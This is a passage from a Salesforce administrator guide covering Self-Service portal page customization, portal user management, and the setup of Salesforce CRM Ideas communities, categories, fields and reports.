See Also:
Customizing Your Self-Service Fonts and Colors

Customize the Login Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can customize the content of the Self-Service Login Page from the Self-Service Portal Pages related list. The Login Page
is the first page that users see and prompts them for a username and password. Users can click Forgot your password? to
automatically reset their passwords and receive a temporary password via email. Users are required to change their temporary
password when logging in. For details on setting up the new password template, see New Password Template on page 1124.

1131
Customize Customizing Your Self-Service Pages

1. To customize this page, click Edit next to the Login Page listed.
2. Check Show Message to display your message on the login page.
3. Insert a page message. Use the format toolbar to format your page message. For descriptions of the HTML formatting
buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
4. Click Save.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

Customize the Home Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can customize the content of the Self-Service Home Page from the Self-Service Portal Pages related list. The Home Page
is the first page that users see after they log in.

1. To customize this page, click Edit on the Home Page line.


2. You can enable the following features:

Feature Description
Show Top Solutions List Lists the titles of up to five solutions of your choice on the
Home Page.
Show My Open Cases Lists the open cases of the Self-Service user who is logged
in.
Show Message The message that will be displayed at the top of the home
page. You can enter a message of up to 32,000 characters
including any HTML tags.

1132
Customize Customizing Your Self-Service Pages

3. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
4. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 414.
5. Click Save.
6. To see how your Home Page will look, click Preview on the Home Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.

Set the Top Solutions


If you checked Show Top Solutions List from the Home page, click Add in the Solutions related list of the Self-Service
Settings page to search for and select solutions to display on the Home page. You may only select solutions that have been
marked Visible in Self-Service Portal.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

Enable the Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can enable the Self-Service Solutions Page from the Self-Service Portal Pages related list. The Solutions Page allows
users to see solutions that have been marked Visible in Self-Service Portal and any files attached to those solutions.

1. To enable this page, click Edit on the Solutions Page line.


2. Select the Show Solution Page checkbox.
3. Check Show Message to display a message at the top of the Solutions Page.
4. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 414.
6. Click Save.

1133
Customize Customizing Your Self-Service Pages

7. To see how your Solutions Page will look, click Preview on the Solutions Page line. If you have customized the Self-Service
style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

Customize the Log a Case Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can enable and customize the Log a Case Page from the Self-Service Portal Pages related list. The Log a Case Page allows
users to submit new cases to your customer support team. New cases submitted from this page will be automatically created
in Self-Service and assigned to the support representative or queue defined by your case assignment rules.

1. To allow users to submit cases from your Self-Service portal, click Edit on the Log a Case Page line.
2. Select the Show Log a Case Page checkbox.
3. Check Show Message to display a message on this page.
4. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
5. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 414.
6. Click Save.
7. To change the fields that display on the page, click the Page Layout link. For more information on changing the page
layout, see Customizing Page Layouts on page 1014.
Note: If a case field is tied to a validation rule, the rule can prevent Self-Service portal users from logging a case
if they do not have access to fill in that field. Consider making those fields visible on the Log A Case page.

8. Click Save at any time to finish.

1134
Customize Customizing Your Self-Service Pages

9. To see how your Log a Case Page will look, click Preview on the Log a Case Page line. If you have customized the
Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

Customize the View Cases Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can enable and customize the View Cases Page from the Self-Service Portal Pages related list. The View Cases Page
allows users to view their open and closed cases, related solutions, completed activities, comments, and (optionally) to add
comments to their cases.

1. Click Edit on the View Cases Page line.


2. Select the Show View Cases Page box to allow users to view their open and closed cases.
3. Select Add Comments to Cases to allow users to add comments to their cases. When a user adds a comment, an
email is automatically sent to the case owner.
4. Select Add Attachments to Cases to allow users to upload files to their cases. When a user adds an attachment, an
email is automatically sent to the case owner.
When editing the page layout for the View Cases Page, add the Case Attachments related list to allow Self-Service users
to view the files they've added to their cases. Be aware that this related list also shows any files that support reps have added
to the case.
5. Check Show Message to display a message on this page.
6. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
7. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 414.
8. Click Save.
9. To change the fields and related lists that display on the page, click the Page Layout link. For more information on changing
the page layout, see Customizing Page Layouts on page 1014.

1135
Customize Customizing Your Self-Service Pages

Add the Case Activities related list to allow Self-Service users to view public, completed activities related to their cases.
You also need to set field-level security to visible for the Visible in Self-Service Portal checkbox on activity
page layouts so support reps will be able to display or hide completed activities in the Self-Service portal by clicking Make
Public or Make Private in the case's Activity History related list.
10. Click Save at any time to finish.
11. To see how your View Cases Page will look, click Preview on the View Cases Page line. If you have customized the
Self-Service style sheet, the preview shows your custom styles.

Tip: To hide specific cases from users in the portal, you can deselect the Visible in Self-Service Portal
checkbox on the case.

Note: View Cases pages list cases in descending order via the Case Number field. Portal users cannot change this
order; nor can they sort case columns in the Self-Service portal.

See Also:
Setting Up Self-Service
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

Customize the Suggested Solutions Page


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify Self-Service pages: “Manage Self-Service Portal”
AND
“Customize Application”

You can enable and customize the Suggested Solutions Page from the Self-Service Portal Pages related list. The Suggested
Solutions Page displays up to ten relevant solutions that may help users solve a particular case. When submitting a case or
viewing cases in the Self-Service portal, users can view suggested solutions and close their cases themselves. See What are
Suggested Solutions? on page 2325.
To customize the Suggested Solutions Page:

1. Click Edit on the Suggested Solutions Page line.


2. Select Show Suggested Solutions Page to enable the page in the Self-Service portal.

1136
Customize Generating Login HTML

3. Select a Self-Closed Case Status to show in the Status field for cases closed by Self-Service users. You must select
at least one “Closed” value for this field.
To customize the Status field, see Modifying Picklists on page 798.
4. Choose the maximum number of suggested solutions to display to users at one time. You can show a maximum of ten.
5. Select the Self-Closed Case Reasons that Self-Service users can choose from when they self-close their cases.
To customize the values associated with the Case Reason field, see Modifying Picklists on page 798.
6. Check Show Message to display a message on this page.
7. If you enabled the message, enter your message in the text box, using the formatting toolbar to format the size, color, or
font. For descriptions of the HTML formatting buttons, see Using the Format Toolbar on page 431.
Optionally, check Show HTML to view your page message in HTML code.
8. Optionally, insert any merge fields for data that you want to replace dynamically. See Merge Fields Overview on page 414.
9. Click Save.
10. To see how your Suggested Solutions Page will look, click Preview on the Suggested Solutions Page line. If you have
customized the Self-Service style sheet, the preview shows your custom styles.

See Also:
Customizing Your Self-Service Pages
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Generating Login HTML
Self-Service Jump Start

Generating Login HTML


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To generate Self-Service portal HTML: “Manage Self-Service Portal”

After enabling and customizing your Self-Service portal, generate the URL or HTML code where users will log in to your
Self-Service portal.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Settings.


2. Click Generate Login HTML.
3. Insert the URL or HTML code provided into your website.

1137
Customize Managing Self-Service Users

4. Click Finished to return to the Self-Service Settings page.

See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Managing Self-Service Users
Self-Service Jump Start

Managing Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users: “Edit Self-Service Users”
To mass manage Self-Service users: “Manage Self-Service Portal”
AND
“Edit Self-Service Users”

Manage your Self-Service user information from a single place and make changes to more than one user at a time. Before your
customers can take advantage of the Self-Service portal, you must enable Self-Service access for each contact. You can enable
access for one contact at a time from the Contacts tab or for multiple contacts via the Self-Service setup pages.

• To enable Self-Service users individually from the Contacts tab, see Self-Service for Contacts on page 158.
• To enable multiple Self-Service users at once, see Enabling Multiple Self-Service Users on page 1139.
• To change Self-Service user information, see Editing Self-Service User Information on page 1140.
• To reset Self-Service user passwords, see Resetting Self-Service User Passwords on page 1140.

See Also:
Enabling Self-Service Features and Settings
Customizing Your Self-Service Look and Feel
Customizing Your Self-Service Pages
Generating Login HTML
Self-Service Jump Start

1138
Customize Managing Self-Service Users

Enabling Multiple Self-Service Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users: “Edit Self-Service Users”
To mass manage Self-Service users: “Manage Self-Service Portal”
AND
“Edit Self-Service Users”

You can perform mass actions for Self-Service user management such as enabling Self-Service access for many contacts at
once. Each contact must have an email address and must be associated with an account to be a Self-Service user.
To enable new users for your Self-Service portal:

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Users.


2. Click Enable New User(s).
3. Enter search criteria to compile a list of the contacts you want to enable and click Search. For instructions on filtering
data, see Entering Filter Criteria on page 2163.
4. Select the contacts you want to enable and click Next.
5. Modify Self-Service user information as necessary.
6. Select the Super User checkbox to enable the contact as a Self-Service super user who can view case information, add
comments, and upload attachments for all cases submitted by anyone in his or her company.
7. Click Save.

See Also:
Managing Self-Service Users

1139
Customize Managing Self-Service Users

Editing Self-Service User Information


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users: “Edit Self-Service Users”
To mass manage Self-Service users: “Manage Self-Service Portal”
AND
“Edit Self-Service Users”

Edit Self-Service user information to keep user information updated.

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Users.


2. Select the users you want to change.
3. Click Edit User(s).
4. Make any necessary changes to these records.
5. Click Save.

See Also:
Managing Self-Service Users

Resetting Self-Service User Passwords


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Self-Service users: “Edit Self-Service Users”
To mass manage Self-Service users: “Manage Self-Service Portal”
AND
“Edit Self-Service Users”

If a Self-Service user loses his or her password, you can email a new password to him or her. To reset one or more Self-Service
users’ passwords:

1. Click Setup ➤ Customize ➤ Self-Service ➤ Self-Service Portal ➤ Users.


2. Select the users whose passwords you want to reset.
3. Click Reset Password(s).

1140
Customize Managing Salesforce CRM Ideas

4. Click OK.

See Also:
Managing Self-Service Users

SETTING UP IDEAS

Managing Salesforce CRM Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Salesforce CRM Ideas communities: “Customize Application”

Salesforce CRM Ideas is a community of users who post, vote for, and comment on ideas. Consider it an online suggestion
box that includes discussions and popularity rankings for any subject.
Communities help organize ideas and questions into logical groups with each community having its own focus and unique
ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can
have up to 50 communities shared between ideas and answers.
You can display an Ideas community to internal Salesforce.com users, Customer Portal or partner portal users, or to public
users (requires setting up a Force.com site). For step-by-step directions on setting up Salesforce CRM Ideas, refer to the
Salesforce CRM Ideas Implementation Guide.
As an administrator, you can:

• Control whether ideas are enabled for your organization and customize the half-life of ideas. See Customizing Salesforce
CRM Ideas Settings on page 1142.
• Create a new community. See Creating and Editing Communities on page 1208.
• Define picklist values for the Categories and Status fields. See Defining Picklist Values for the Categories and Status
Fields on page 1148.
• Specify the layout of custom fields. See Setting Layouts for Idea Fields on page 1152.
• Make idea reports available to your users. See Setting Up Idea Reports on page 1153.
• Customize idea search layouts. See Customizing Search Layouts on page 1044 and Searching for Ideas on page 2386.
• Merge ideas to reduce the number of duplicate ideas within a community. See Merging Ideas on page 1145.
• Assign a status to an idea. See Posting and Editing Ideas on page 2379.
• Delete a vote through the API to erase all history that the vote ever occurred.
Specifically, deleting a vote does the following:

- Removes 10 points from the idea's overall score.

1141
Customize Customizing Salesforce CRM Ideas Settings

- Removes the user's name from the Last 100 Votes section on the idea's detail page.

For more information, refer to the delete() call in the Web Services API Developer's Guide.

See Also:
Ideas Overview
Tips on Using Salesforce CRM Ideas
Enabling Salesforce CRM Ideas in the Customer Portal
Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide

Customizing Salesforce CRM Ideas Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Salesforce CRM Ideas settings: “Customize Application”

To manage organization-wide settings for Salesforce CRM Ideas:

1. Click Setup ➤ Customize ➤ Ideas ➤ Settings.


2. Click Edit.
3. Use the Enable Ideas checkbox to enable or disable Salesforce CRM Ideas for your organization.
Enabling Salesforce CRM Ideas displays the Ideas tab in the Community application and shows active communities on
the Ideas tab.
Disabling Salesforce CRM Ideas removes the Ideas tab from the Community app. Users will no longer be able to access
active communities, but these communities will reappear on the Ideas tab the next time you enable Salesforce CRM Ideas.
4. Optionally, select Enable Text-Formatting, Images and Links to enable the Salesforce CRM Ideas HTML
editor, which gives users WYSIWYG HTML editing and image referencing capabilities when they post or comment on
ideas. For more information, see Tips for Using the HTML Editor on page 2386.
Caution: Once you enable the Salesforce CRM Ideas HTML editor, you cannot disable it. If you do not see the
Enable Text-Formatting, Images and Links checkbox, the Salesforce CRM Ideas HTML editor is
enabled for your organization by default.

5. If your organization does not already have the multi-select Categories field enabled, click the Enable button located
below the Categories message at the top of the page. This button is not displayed if your organization already has the
Categories field enabled. For more information, refer to Enabling the Categories Field on page 1150.

If the Categories field is already enabled, the Enable Categories checkbox is selected. Once the field is enabled,
you cannot disable it.
6. In the Half-Life (in Days) field, enter a number of days.

1142
Customize Communities Home

The half-life setting determines how quickly old ideas drop in ranking on the Popular Ideas subtab, to make room for
ideas with more recent votes. A shorter half-life moves older ideas down the page faster than a longer half-life.
Note: This field does not appear if Ideas is disabled. To modify the Half-Life (in Days) field, save your
changes after enabling ideas, and then click Edit on the Ideas Settings page.

7. Click Save.

See Also:
Ideas Overview
Managing Salesforce CRM Ideas
Administrator setup guide: Salesforce Ideas Implementation Guide

Communities Home
Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a community: “Customize Application”

Communities help organize ideas and questions into logical groups with each community having its own focus and unique
ideas and questions. Professional Edition organizations can have only one internal ideas community. All other editions can
have up to 50 communities shared between ideas and answers.
Note: If you need more than 50 communities, contact salesforce.com.

You can display a community to the following types of users:

• Internal Salesforce.com users only. Salesforce.com users can access all communities regardless of whether the community
is internal-only or displayed in a portal.
• Customer Portal or partner portal users.
• Public users (requires setting up a Force.com Site).

Note: You cannot use Salesforce.com sharing rules to restrict access to communities. When you create a community,
you can restrict access by selecting the portal where the community should appear. Only the users assigned to that
portal (and internal Salesforce.com users) will be able to access that community unless you expose it publicly using
Force.com sites.

To display a list of the existing communities, along with general information about each one, click Setup ➤ Customize ➤
Ideas ➤ Communities or Setup ➤ Customize ➤ Answers ➤ Communities. Communities are shared by the ideas and
answers features, allowing you to view and create communities from either location. From the Communities page you can:

1143
Customize Creating and Editing Communities

• Create a new community or edit an existing community.


• View the details of a community by clicking the community name.

Creating and Editing Communities


Ideas communities available in: Professional, Enterprise, Unlimited, and Developer Editions
Answers communities available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or edit a community: “Customize Application”

To create a new community or edit the details of an existing community:

1. Click Setup ➤ Customize ➤ Ideas ➤ Communities or Setup ➤ Customize ➤ Answers ➤ Communities.


Communities are shared by the ideas and answers features, allowing you to view and create communities from either
location.
2. Click Edit next to the community you want to change or New to create a new community.
3. Enter a unique name for your community. This name displays to all community members so use a name that clearly
identifies the community's purpose.
For ideas, if you have more than one community, the community whose name comes first in the alphabet is the community
that is displayed when users first visit the Ideas tab. For example, if you're a computer manufacturer and have a community
named Laptop Products and another named Desktop Products, the Desktop Products community appears first when users
go to the Ideas tab. Answers can only have one community displayed at a time.
4. Optionally, enter a description in plain text. HTML and other markup languages are not supported.
5. Select the Active checkbox to display the community to your ideas and answers users.
You can't delete communities, so if you need to hide a community, make sure Active isn't selected. All active communities
are automatically available from the Ideas tab (if ideas is enabled), but you can only assign one active community to answers.
To make a community available from answers, enable answers and assign the default community.
6. To add a group of experts to this community, select a public group from the Experts Group drop-down list. For
information on creating public groups, see Creating and Editing Groups on page 496.
Note: Expert groups are only supported in Salesforce CRM Ideas. Answers doesn't support this feature.

7. Use the Portal drop-down list to specify in which portal you want this community displayed. If you only want this community
displayed to internal Salesforce.com users and not to Customer Portal or partner portal users, select Do Not Display
in Portal.

To make an ideas community publicly available, you must select the Customer Portal that you plan to expose publicly using
Force.com sites. Answers communities do not support Force.com sites.
When you display a community in a portal, “(External)” is appended to the community name. Communities that aren't
displayed in a portal have “(Internal)” appended to the name. For example, Laptop Products Community (External).

1144
Customize Merging Ideas

8. Click Save.

Community Expert Overview


A community expert is a member of the community who speaks credibly and authoritatively on behalf of your organization.
When a community expert posts a comment or idea, a unique icon ( ) displays next to his or her name so other community
members can easily identify credible information within the community. The Salesforce.com administrator can designate as
many community experts as necessary.
Before you select a public group to be community experts, note the following:
• A community expert can be an employee of your organization who is responsible for providing official responses to the
community, or a community expert can be someone outside your organization who is active within the community and
knowledgeable about the subject matter.
• The only difference between a community expert and other community members is the unique icon that displays next to
the community expert's name. Community experts do not have any extra permissions beyond what is specified in their
user profile.
• Community experts must be part of a public group and that public group must be specified in the Experts Group
drop-down list. You may need to create a public group for each community if the experts within those communities are
different.
• If a community is displayed in a Customer Portal or partner portal, you can use a cascading style sheet (CSS) to change
the icon associated with the community expert. When creating a new portal, specify your CSS in the Header of your
portal and use the expertUserBadge class to reference the new background image for the community expert. We
recommend the community expert icon be no larger than 16 by 16 pixels. For more information, see Creating Partner
Portals on page 2506 and Enabling Customer Portal Login and Settings on page 1313.

See Also:
Selecting Picklist Values and Defaults for a Community
Communities Home
Enabling Salesforce CRM Ideas in the Customer Portal
Sites Overview
Administrator setup guide: Salesforce Ideas Implementation Guide

Merging Ideas
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To merge multiple ideas: “Edit” on ideas

Overview
As more users contribute to a community, the number of duplicate ideas often increases. Duplicate ideas make it difficult to
measure feedback because votes and comments are spread out over many similar ideas. The best way to resolve this issue is to
merge duplicate ideas together so one idea becomes the master to one or more child ideas.
Note the following about merging ideas:

1145
Customize Merging Ideas

• All votes belonging to child ideas are transferred to the master idea. If the same community member votes for two ideas
that are eventually merged, only the vote for the master idea is kept; the vote for the child idea is discarded.
• Once you merge ideas they cannot be separated.
• Users can only vote for and add comments to a master idea. Child ideas become read-only.
• You cannot merge ideas in separate communities.
• Deleting a parent idea automatically deletes all child ideas. Child ideas cannot be deleted individually.
• The master idea does not inherit the status and category values of its child ideas.
• When an idea is merged and becomes a child idea, the child idea still appears on the Ideas Submitted page but not on any
other pages in a community member's Recent Activity.

Merging Ideas
To locate duplicate ideas and merge them together:
1. On the Ideas tab, click the title of an idea that you want to merge.
2. On the idea's detail page, click Find Duplicates. Salesforce.com searches all the ideas within the community and displays
the five ideas with titles that most closely match the current idea's title.
3. If the Possible Duplicates list does not contain any ideas that you want to merge, enter keywords in the Search for
Duplicates field and click Search. Salesforce.com displays a new list of possible duplicate ideas.
4. From the Possible Duplicates list, select the ideas that you want to merge.
To view the details of a possible duplicate idea, click the idea's title. Use your browser's back button to return to the search
results.
5. Click Merge with Current Idea.
6. Select the idea that you want to be the master idea, and click Merge.
7. Click OK to complete the merge.

See Also:
Searching for Ideas
Viewing Ideas
Posting and Editing Ideas
Deleting Ideas

1146
Customize Tips on Using Salesforce CRM Ideas

Tips on Using Salesforce CRM Ideas


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Ideas tab: “Read” on ideas
To view and vote for ideas: “Read” on ideas
To create ideas and add comments to ideas: “Create” on ideas
To edit ideas and edit comments on ideas: “Edit” on ideas
To create communities: “Customize Application”

Consider the following information when setting up and using Salesforce CRM Ideas:

• To monitor the activity of Salesforce CRM Ideas, you can:

- Create a workflow rule or trigger based on the number of comments an idea receives. You cannot create a workflow
rule or trigger based on an idea’s vote total or vote count. You also cannot create a trigger that inserts or deletes a
comment when the Idea object is updated. For more information, see Creating Workflow Rules on page 1402.
- Create a custom report based on an idea's vote score or number of comments. For more information, see Creating a
Custom Report on page 2139.

• When posting an idea or comment, you can include a URL in the idea's description or comment field, but you cannot
attach a file or add a note to an idea.
• Master detail relationships are not supported.
• Salesforce CRM Ideas does not support workflow tasks, outbound messages, and approvals.
• Salesforce CRM Ideas does not support custom links.
• The Ideas detail page does not contain related lists.
• The data export feature archives all your Salesforce CRM Ideas data with the exception of deleted ideas and deleted
comments.
• You cannot create activities and events for Salesforce CRM Ideas.
• When using standard or custom Idea fields, note the following:

- History tracking is not supported.


- Field dependencies and roll-up summary fields are not supported.
- Formula fields are not available for the Community object.

1147
Customize Defining Picklist Values for the Categories and Status Fields

Defining Picklist Values for the Categories and Status Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define picklist values: “Customize Application”

Overview
For community members to assign categories to an idea or be able to view an idea's status, the Salesforce CRM Ideas
administrator needs to define picklist values for the Categories and Status fields. These fields are only available in an
ideas community and not in an answers community.
Categories are administrator-defined values that help organize ideas into logical sub-groups within a community. The View
Category drop-down list on the Ideas tab allows users to filter ideas by category, and the Categories picklist on the Post
Ideas page lets users add categories to their ideas.
An idea's status helps community members track the progress of the idea. For example, “Under Review”, “Reviewed”, “Coming
Soon”, and “Now Available” are common status values an administrator can define and assign to ideas. An idea's status appears
next to the idea's title for all community members to see.
Note: If the Category field is displayed (instead of Categories), then your community members can only assign
a single category to an idea. To allow them to assign multiple categories to an idea, enable the Categories field on
the Setup ➤ Customize ➤ Ideas ➤ Settings page.

Defining Picklist Values


To define picklist values for the Categories and Status standard fields:
1. Click Setup ➤ Customize ➤ Ideas ➤ Fields.
2. Click Edit next to the Categories or Status standard field.
3. On the picklist edit page, click New to add new picklist values to the standard field. You can also edit, delete, reorder, and
replace picklist values. For more information on these tasks, see Updating Picklists on page 798.
Note: Once you add picklist values to the Categories or Status field, the field will always require at least one
picklist value. This means you can delete picklist values until there is one remaining for the field.

4. Add one or more picklist values (one per line) in the provided text area.
5. Select the communities that you want to include the new picklist values.
6. Click Save.
7. To specify a default value for the Categories or Status fields, see Selecting Picklist Values and Defaults for a Community
on page 1149.
Note: Do not use the Edit link on the Fields page to specify a default value for Categories or Status. You
can only specify a default value from the Community Detail page.

8. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field
checkbox on the Setup ➤ Customize ➤ Ideas ➤ Fields Layout page.

1148
Customize Selecting Picklist Values and Defaults for a Community

Once you select this checkbox, you can assign a status to any idea when you post a new idea or edit an existing idea. For
more information, see Posting and Editing Ideas on page 2379.

See Also:
Managing Salesforce CRM Ideas
Ideas Overview
Selecting Picklist Values and Defaults for a Community

Selecting Picklist Values and Defaults for a Community


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To add or remove picklist values from a community: “Customize Application”

After you define picklist values for the Categories and Status fields, you can add and remove picklist values from these
fields on a per-community basis and specify a default value. This allows you to customize the Categories and Status fields
based on the unique purpose of a community. For information, see Defining Picklist Values for the Categories and Status
Fields on page 1148.
To add or remove picklist values from a specific community:

1. Click Setup ➤ Customize ➤ Ideas ➤ Communities.


2. Click the name of the community.
3. Click Edit next to the Categories or Status field.
4. To remove a picklist value, select the value from the Selected Values list and click Remove.
5. To add a picklist value to the community, select the value from the Available Values list and click Add.
6. To specify a default value for the field, use the Default drop-down list.
7. Click Save.

See Also:
Creating and Editing Communities

1149
Customize Enabling the Categories Field

Enabling the Categories Field


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Salesforce CRM Ideas settings: “Customize Application”

Organizations using the Category field can switch to the multi-select Categories field that allows community members
to associate more than one category with an idea. The Category field only allows one category to be associated with an idea.
Caution: Once you enable the Categories field, you cannot disable it. Also, enabling the Categories field
automatically disables the old Category field in Salesforce.com and the API.

When you enable the Categories field, Salesforce.com automatically does the following:

• Checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code and lists any area that
references the Category field. You must manually fix or remove these references before Salesforce.com allows you to
enable the Categories field.
• Automatically moves all picklist values and search layouts from the old Category field to the new Categories field.
• Ensures each idea is associated with the appropriate picklist value in the new Categories field.
• Makes the new Categories field available in Salesforce.com and the API.

To enable the Categories field:

1. Click Setup ➤ Customize ➤ Ideas ➤ Settings.


2. Click Enable located below the Categories message at the top of the page. This button is not displayed if your organization
already has the Categories field enabled.
Salesforce.com checks your organization's workflow rules, triggers, validation rules, custom fields, and Apex code for
references to the Category field and lists any areas where this reference needs to be removed.
3. If you need to remove references to the Category field, click Cancel. Once you have removed the references, try enabling
the Categories field again.
Note: For validation and workflow rules you must delete the rule or fix the Category reference within the rule. It
is not sufficient to deactivate the rule. If you need to delete a custom field that references the Category field,
make sure to erase the field after it has been deleted. For more information, see Managing Deleted Custom Fields
on page 842.

4. Read the information in the pop-up window, and click Enable. It may take several minutes for Salesforce.com to enable
the new field.

1150
Customize Migrating to the Community Application

5. Fix any custom reports that reference the old Category field.

See Also:
Customizing Salesforce CRM Ideas Settings
Selecting Picklist Values and Defaults for a Community
Defining Picklist Values for the Categories and Status Fields

Migrating to the Community Application


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To customize Salesforce CRM Ideas settings: “Customize Application”

If your organization enabled Salesforce CRM Ideas prior to the Winter '10 release, we recommend that you migrate to the
new Community application. The Community application:

• Replaces the Ideas application in the Force.com app menu.


• Includes the Ideas and Answers tabs.
Answers is a feature of the Community application that enables users to ask questions and have community members reply
with answers. Community members can then vote on the helpfulness of each reply, and the person who asked the question
can mark one reply as the best answer.

Caution: Once you migrate to the Community application, you cannot return to the old Ideas application. The Ideas
tab with all your existing data will still be available in the new Community application.

To migrate to the Community application:

1. Click Setup ➤ Customize ➤ Ideas ➤ Settings.


The Community message appears at the top of the Ideas Settings page. If the Community message does not appear, the
Community application is already enabled for your organization.
2. Click Enable below the Community message. Salesforce.com checks your organization for any custom objects named
Community. If such an object exists, you must delete or rename the object before enabling the Community app.
3. Click Enable when Salesforce.com confirms it's okay to migrate to the Community application.

1151
Customize Customizing Salesforce CRM Ideas Standard and Custom Fields

Customizing Salesforce CRM Ideas Standard and Custom


Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To define picklist values: “Customize Application”
To set field level security: “Customize Application”
To define or change field validation rules: “Customize Application”
To create Salesforce CRM Ideas custom fields: “Customize Application”

Administrators can customize Salesforce CRM Ideas standard and custom fields to meet the needs of an organization's unique
requirements:

• Define picklist values for the Categories and Status fields. For more information, see Defining Picklist Values for the
Categories and Status Fields on page 1148.
• Click the name of a standard or custom field to set field-level security. For more information, see Setting Field-Level
Security on page 540.
• Click the name of a custom field to set validation rules. For more information, see Defining Validation Rules on page 892.
• Create a custom field for Salesforce CRM Ideas. Custom fields appear in the Additional Information section on the Post
Idea and Idea Detail pages. For more information, see About Custom Fields on page 811.

See Also:
Ideas Overview
Customizing Salesforce CRM Ideas Settings

Setting Layouts for Idea Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set the layout of a Salesforce CRM Ideas custom field: “Customize Application”

When a custom field is created for Salesforce CRM Ideas, that field appears in the Additional Information section at the
bottom of the Post Idea and Idea Detail pages.

1152
Customize Setting Up Idea Reports

To improve the layout of these pages, you can specify the order in which a custom field appears in the Additional Information
section. You can also remove a custom field from these pages without permanently deleting the field from the system.
To set the layout of a custom Salesforce CRM Ideas field:

1. Click Setup ➤ Customize ➤ Ideas ➤ Fields Layout.


2. Click Edit.
3. In the Selected Fields column, select the field you want to move and use the up and down arrows to change the order of
the field in the list.
The Selected Fields column shows the order in which custom fields appear in the Additional Information section on the
Post Idea and Idea Detail pages.
4. To remove a custom field, select the field in the Selected Fields column and click Remove. The field moves to the Available
Fields column and no longer appears on the Post Idea and Idea Detail pages.
5. To be able to assign a status to ideas and display an idea's status to community members, select the Show Status Field
checkbox.
6. Click Save.

See Also:
Customizing Fields
Defining Picklist Values for the Categories and Status Fields

Setting Up Idea Reports


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or update custom report types: “Manage Custom Report Types”
To delete custom report types: “Modify All Data”

As an administrator, you can create custom report types so users can run and create custom reports about ideas, idea comments,
